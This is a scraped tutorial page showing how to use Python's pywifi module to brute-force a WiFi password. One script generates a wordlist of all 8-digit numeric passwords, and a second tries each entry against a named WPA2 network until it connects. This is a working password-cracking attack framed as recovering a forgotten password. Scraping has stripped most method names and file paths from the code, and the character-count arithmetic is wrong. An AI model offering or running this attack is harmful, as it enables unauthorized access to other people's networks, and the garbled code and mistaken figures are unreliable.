SoFunction
Updated on 2025-05-13

Python uses pywifi module to easily view WIFI passwords

Preface

In principle, WiFi passwords can be cracked, but it is just a matter of time. 26*2 letters (caps) + 10 numbers + special characters form many password combinations, plus the number of passwords itself. You can also use multi-open and multi-threading to speed up the cracking speed.

We know that there are 24 lowercase letters, 24 uppercase letters, and 10 numbers.

So, there are 24 + 24 + 10 = 58 optional characters in total.

Now, we want to generate an 8-bit password, each bit can be any of these 58 characters.

So, there are 58 choices in the first place, 58 choices in the second place, and so on, until 8th place.

The total number of combinations is 58 × 58 × 58 × 58 × 58 × 58 × 58 × 58 × 58 × 58.

This is actually the power of 58 to the 8th.

The calculation result is: 128063081718016

The password length of wifi is 8-16 digits. If you unfortunately forget the password of a certain wifi, but you probably know some of the password composition, you can also refer to the script below to find the password. The password is as follows.

1. Import module

pip install pywifi

2. Generate possible password combination = 8, which is a password combination with 8 numbers.

import itertools as its
import datetime

#Create password + write password + record timedef generate_passwords(number):
    # Record the program running time    start = ()
    #words = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' #Case letters + numbers combination    words = '0123456789' # Pure numbers    # The number of digits to generate the password    passwords = (words, repeat=number)  #Under normal circumstances, the number of hot password digits is 8    f = open("", 'a')

    for password in passwords:
        (''.join(password))
        (''.join('\n'))
        print(password)

    ()
    print('Possible password combinations have been generated')
    end = ()
    print("Total time:{}".format(end - start))

generate_passwords(8)

3. Verify the correctness of the password

# coding:utf-8

import pywifi
from pywifi import const
import time
import datetime

# Test the connection and return the link resultdef wifi_connect(wifi_name,password):
    # Crawl the network card interface    wifi = ()
    # Get the first wireless network card    ifaces = ()[0]
    # Disconnect all connections    ()
    (1)
    wifistatus = ()
    if wifistatus == const.IFACE_DISCONNECTED:
        # Create WiFi connection file        profile = ()
        # Name of the WiFi to connect to         = wifi_name
        # Open status of network card         = const.AUTH_ALG_OPEN
        # Wifi encryption algorithm, general Wifi encryption algorithm is wps        (const.AKM_TYPE_WPA2PSK)
        # Encryption Unit         = const.CIPHER_TYPE_CCMP
        # Call password         = password
        # Delete all connected wifi files        ifaces.remove_all_network_profiles()
        # Set up a new connection file        tep_profile = ifaces.add_network_profile(profile)
        (tep_profile)
        # wifi connection time        (3)
        if () == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("Already have a wifi connection")

    # Read the password

def find_correct_password(wiff_name):
    print("Start cracking:")
    # Open the password book file    file = open('', "r")
    while True:
        try:
            #Regular password reading and valid password verification in dead loop            break_code = ()
            bool = wifi_connect(wiff_name,break_code)

            if bool:
                print("The password has been cracked:", break_code)
                print("WiFi is automatically connected!!!")
                break
            else:
                # Break out of the current loop and perform the next loop                print("Checking, is this password correct...: ", break_code)
        except:
            continue

if __name__ == '__main__':
    start = ()
    #The wiff name to be cracked    find_correct_password("Tenda_xxxxxx")
    end = ()
    print("This crackWIFIpassword,Duration is:{}".format(end - start))

This is the article about Python using pywifi module to easily view WIFI passwords. For more related python pywifi to view wifi password content, please search for my previous articles or continue browsing the related articles below. I hope everyone will support me in the future!